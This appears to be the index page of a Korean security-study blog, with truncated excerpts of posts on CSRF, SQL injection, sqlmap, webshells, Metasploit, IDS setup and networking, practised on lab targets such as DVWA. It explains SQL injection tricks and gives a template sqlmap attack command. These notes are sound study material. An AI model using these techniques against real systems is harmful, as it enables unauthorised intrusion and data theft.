vim Editor를 사용하다가 뭔가 잘못 눌렀는데 에러가 발생해서 해결해보았습니다. sudo find / -name .password.lst#복제된 파일명을 입력해주시면 됩니다. cd /usr/share/john#경로를 따라가줍니다. ls#파일의 리스트를 확인합니다. find .password.lst.swp#리스트가 너무 많아서 눈으로는 못찾고 한 번 더 확인해줍니다. sudo rm .password.lst.swp#관리자 권한으로 삭제해줍니다. find .password.lst.swp#다시 find를 해보면 찾을 수 없으므로 삭제된 것을 확인할 수 있습니다. 다시 vim을 켜보면 문제없이 작동하는 것을 확인하실 수 있습니다.

DVWA - CSRF, Burp Suite - Dictionary Attack, Kali Linux -Medusa, Crunch - Brute Force [내부링크]

CSRF CSRF (Cross Site Request Forgery) : 교차 사이트 요청 위조 공격 대상 : Web Server Client의 권한을 이용해서 위조된 요청을 Web Server에 보내는 공격 대표적 사레로는 자동으로 댓글 달기, 좋아요 눌러지기, 비밀번호 변경, 회원 탈퇴 요청, 회원 승급 요청 등 사용자들이 원하지 않았지만 스크립트의 소스 안에 공격자의 의도가 포함되어 있는 상태로 Web Server에 요청이 보내집니다. Metasploitable2를 켜고 DVWA에 접속합니다. - 리눅스는 굳이 로그인하지 않아도 서버가 실행됩니다. - DVWA : admin / password - Security Lever : Low 변경 - CSRF 메뉴 클릭 - admin의 패스워드를 12345..

SAST, DAST - Sparrow [내부링크]

보안약점(Weakness) : 해킹 등 실제 보안사고에 악용될 수 있는 보안 취약점의 근본 원인 취약점(Vulnerability) : 보안약점이 원인이 되어 발생하는 실제적인 위협으로 해킹에 악용 SW 개발보안 적용방법 - SW 개발보안 교육 : 개발자뿐아니라 전 구성원에게 보안 교육 - 전 단계에 SW개발보안을 적용 : 기획, 분석, 설계단계부터 보안 고려 - 소스코드 진단 : 진단도구 활용 SAST (Statioc Application Security Testing) 정적 애플리케이션 보안 테스트 (SAST)는 실행 중이 아닌 상태에서 애플리케이션 소스 코드, 바이너리 및 바이트 코드를 분석하여 모바일 애플리케이션의 보안 취약점을 드러내도록 설계된 일련의 테스트 방법입니다. SAST는 화이트 박스 테..

VMware - Ubuntu에 Suricata 설치하기 [내부링크]

SURICATA : 오픈소스 IDS/IPS 시장의 최강자였던 Snort의 단점이었던 단일 스레드 방식으로 데이터 처리하던 것을 보완하여, 2009년 OSIF(Open Information Security Foundation)이라는 단체에서 발표한 오픈소스 IDS/IPS 프로그램으로 멀티 스레드, 멀티 코어를 지원하여 데이터를 처리합니다. Snort에서 쓰던 Rules를 그대로 사용할 수 있으며 그 외에도 기존의 기능을 모두 제공합니다. 설치 시작하겠습니다. Ubuntu는 20.04.4 Version을 사용했습니다. Suricata를 설치해보겠습니다. 잘 보시고 따라해주세요. sudo apt update #부팅하면 항상 업데이트해줍니다. sudo apt install software-properties-c..

Check Point - Smart View, Smart Dash Board, IDS, IPS [내부링크]

Check Point - Smart View 벽돌 모양은 방화벽의 패킷 필터링 규칙에 의해 차단됩니다. Smart Defence : 패킷의 개수 등을 보고 허용 또는 거부를 결정하는 방식 ex) 1분에 100개의 요청 > 사람이 하는 요청이 아닐 가능성이 높음, Script 등 Rules : 24번째 Rule에 의해 차단 Information : Attack Info : TCP header corrupt 헤더 조작으로 SSH를 통해 Brute force, Dictionary 가능성 - 5개의 오류 메시지 : Destination Tnreachable, Time Exeeded, Parameter Proble, Redirect (경로 변경), Source Quench (발신지 억제) - 4쌍의 질의응답 : ..

HTTP Status Code - HTTP 응답 상태 코드 정리 [내부링크]

HTTP의 응답 코드는 5개의 클래스로 구분됩니다. 상태 코드의 첫 번째 숫자는 응답의 클래스를 정의하며, 뒤의 두 자리는 분류의 역할을 하지 않습니다. 1XX (Information responses) : 요청을 받았으며 프로세스를 계속합니다. : 굵게 강조된 것은 자주 보이는 오류를 표시합니다. 100 Continue(계속) : 요청자는 요청을 계속해야합니다. 서버는 이 코드를 제공하여 요청의 첫 번째 부분을 받았으며 나머지를 기다리고 있음을 나타냅니다. 101 Switching Protocols : 요청자가 서버에 프로토콜 전환을 요청했으며 서버는 이를 승인하는 중입니다. - HTTP/1.0이후 한동안 쓰이지 않았었는데 최근 WebSocket 등에서 사용되고 있습니다. 102 Processing :..

SQL Injection, HTML, Windows Server 2003 Hacking - SQL 인젝션, HTML, 윈도우 서버 2003 해킹 [내부링크]

NOTE SQL Injection의 기본원리 : 논리적으로 참이 되도록 해야 함 False or True = True 앞부분이 패스워드일 경우, 패스워드를 몰라도 결과가 참이 되도록 만드는 방법 - 주석 처리 오라클, MS-SQL은 주석으로 --을 사용 MySQL, MariaDB는 주석으로 #을 사용 HTML은 주석으로 .//을 사용 - 중첩문을 사용하는 방법 앞의 SQL문과 뒤의 SQL문이 서로 다르면 세미콜론(;)을 사용해서 끝내고, 새로운 SQL문을 작성하면 됨 SELECT문을 두 개를 사용할 수 있는 경우 UNION으로 연결 (합집합의 기능, 같이 보여줌) UNION을 사용할 경우, 앞의 SELECT문과 뒤의 SELECT문에서 요구하는 컬럼의 개수는 같아야 함 * MySQL, MariaDB - D..

Web [내부링크]

인터넷(Internet) : 컴퓨터로 연결하여 TCP(Transmission Control Protocol) / IP(Internet Protocol)라는 통신 프로토콜을 이용해 정보를 주고받는 컴퓨터 네트워크이다. 미국 국적의 로버트 칸(Robert Kahn)과 빈튼 서프(Vinton Cerf)가 개발했습니다. WWW (World Wide Web) : 인터넷에 연결된 컴퓨터를 이용해 사람들과 정보를 공유할 수 있는 거미줄처럼 얼기설기 엮은 공간을 뜻하는 용어. HTTP Protocol을 기반으로 HTML로 작성된 하이퍼텍스트 페이지를 웹 브라우저라는 특정한 프로그램으로 읽을 수 있게 하도록 구성되어 있습니다. 유럽 입자 물리 연구소인 'CERN'의 영국 국적 소프트웨어 공학자 팀 버너스 리(Tim Be..

Firewall - 방화벽 [내부링크]

Note OSI Model vs TCP/IP TCP/IP (1974) : 4 Layer Model (5 Layer Model) OSI Model (1986) : 7 Layer Model : Physical, Data Link, Network, Transport, Session, Presentation, Application으로 이루어져 있습니다. * 보호(Protection) : 내부의 정보가 외부로 나가는 것을 막는 것 보안(Security) : 외부에서 내부로 들어오는 것을 막는 것 * 용어정리침입 차단 시스템(Intrusion Blocking System) : 인터넷 방화벽 침입 탐지 시스템(Intrusion Detection System) : IDS침입 방지 시스템(Intrusion Prevent..

Kali Linux - SQLmap을 이용한 SQL Injection 공격 자동화 [내부링크]

SQL Injection 공격 자동화 : DB에 대한 정보가 없는 상태에서 DB에 하나씩 물어보고 Yes or No 형식으로 응답하면 그 정보를 모아서, DB 이름, Table 이름 등을 파악 Blind SQL Injection의 일종 > 반복 작업이 많아서 사람이 일일이 하기는 어려움 > 자동화 도구를 사용하는 이유 실습 Kali Linux의 SQLmap을 이용해서 DVWA(Metasploitable2)에 SQL Injection 공격 자동화하기 -SQLmap의 문법 sudo sqlmap -u "URL 주소" --cookie="쿠키 값" URL 주소 : DVWA의 SQL Injection(Blind) 메뉴에서 입력창에 1~5 사이의 번호를 한 번 입력한 주소 표시줄의 주소를 사용합니다. 쿠키 값 : 주..

공지사항 [내부링크]

본 블로그는 공부했던 내용을 기반으로 작성됩니다. 최대한 섬세하고 자세하게 작성하려고 하지만 작성자가 왕초보라 부족한 부분이 있을 수 있습니다. 이해가 되지 않는 부분, 설명이 친절하지 않은 부분들이 많이 있을 수 있으니 양해 부탁드립니다. 아직은 방문자가 없지만 보시는 분이 피드백을 남겨주신다면 적극적으로 수용할 예정이며, 모르거나 궁금한 것은 댓글 남겨주시면 제가 아는 선에서 최선을 다해서 도와드릴게요. 댓글 남겨주세요. 해킹에 관련된 자료로는 다른 웹 사이트를 공격하시면 안 되며, 추후의 결과에 대해 작성자는 책임지지 않습니다. 작은 곳에서부터 올바른 보안 문화 만들어가요. 저는 최선을 다해 작성할테니 누구에게라도 도움이 되는 글이길 바랍니다. 읽어주셔서 감사합니다. 좋은 하루 되세요. p.s. 블..

Backdoor, Trojan Horse, WebDAV, Cadaver, Bee-Box - 백도어, 트로이 목마 WebDAV, Cadaver 사용 Bee-Box 문제 풀이 [내부링크]

Note 난독화 (Obfuscation) 사람은 읽기 어렵지만, 웹브라우저가 읽고 해석해서 동작하기 때문에 알지 못하고 먹는 것과 유사한 상황 처음에는 개발자들이 웹사이트의 구조 또는 기밀 정보를 숨기기 위한 목적으로 사용 공격자들도 자신이 만든 스크립트를 알아보기 어렵게 하기 위해서 많이 사용 난독화를 통해 숨기는 것은 악성코드를 다운로드하는 URL, 악성코드의 이름, 행위 등등 웹쉘(Webshell) - 웹서버에 업로드하면 원격에서 웹서버를 조종할 수 있음 (Deface 공격도 가능) - 대부분 난독화를 사용 - 처음에는 웹서버를 편리하게 관리하기 위해서 사용했지만 최근에는 웹서버를 공격하기 위한 첫 번째 공격으로 사용 *Netcat Network에서 Cat처럼 왔다갔다 한다는 별명이 있는 실행파일 ..

attack using Metasploitable2 - 메타스플로잇을 이용한 공격 [내부링크]

NOTE 약점(Weakness) : 보편적인 측면, 자산에는 약점이 있음 ex) CWE-nnnnn 취약점(Vulnerability) : 약점 중에서 특히 치명적인 손해/피해를 입을 수 있는 것 Exploit : 취약점을 공격하는 것 Zero-Day Exploit : 취약점이 발표된 당일부터 공격이 시작된다는 의미, 아직 패치가 배포되기 전까지 One-Day Exploit : 패치는 배포되었지만 아직 패치를 설치하기 전 상태 (기존 Application이 동작하지 않을 수도 있기 때문 : 호환성) ex) CVE-YYYY-NNNNnnn cf. 가장 비싼 취약점 : 아이폰 > 기업용 > Windows > Android > .... Nmap Script의 위치 $cd /usr/share/nmap/scripts ..

Wireshark packet analysis - 와이어샤크 패킷 분석 [내부링크]

ARP (Address Resolution Protocol) : 목적지 IP 주소에 대한 MAC 주소를 조회하는 프로토콜 - Request : 패킷을 전송하고자 하는 호스트(PC 또는 라우터)가 전체에게 보냄 (Broadcast) - Reply : Target으로 지정된 IP에 해당하는 호스트 물어본 호스트에게 전송 (Unicast) : Reply를 받으면 ARP Cache Table에 보관하게 됨 (300초 동안 보관 이후에는 사용할 때마다 갱신) Broadcast : 모든 비트가 1로 되어 있음 (같은 네트워크에 있는 모든 호스트에게 전송) ex) ff:ff:ff:ff:ff:ff, 255.255.255.255 ARP(Protocol)가 Broadcast로 도착하는 것(Destination)을 확인할 ..

VMware Error - 비정상적인 PC 종료로 인한 부팅 불가 [내부링크]

제가 마주했던 VMware 오류에 대해 설명해드릴까 합니다. 비정상적인 종료로 인해 부팅이 되지 않았던 상황입니다. 도움이 된다면 언제든 보고 따라해주세요. This virtual machine appears to be in use. If this virtual machine is not in use, press the "Take Ownership" button to ob tain ownership of it. Otherwise, press the "Cancel" button to avoid damaging it. Configuration file: C:\Users\user\Downloads\metasploitable-linux-2.0.0\Metasploitable2-Linux\Metasploitable..